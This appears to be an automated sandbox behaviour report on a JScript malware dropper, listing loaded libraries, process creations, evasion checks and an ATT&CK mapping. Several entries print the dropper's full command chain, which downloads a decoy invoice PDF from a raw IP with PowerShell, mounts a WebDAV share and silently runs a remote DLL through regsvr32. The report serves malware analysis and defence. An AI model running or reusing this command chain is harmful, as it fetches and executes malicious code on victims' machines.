Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5375.js.csv");ITextStream.WriteLine(" entry:7460 f:sklplzusg");ITextStream.WriteLine(" exec:2 f:sklplzusg");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4733			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5082			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep count: 4733 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624	Thread sleep count: 5082 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8168	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1537311329.000001A15C720000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1537311329.000001A15C6C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2715489129.000001A4A7C5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2714148667.000001A4A262B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
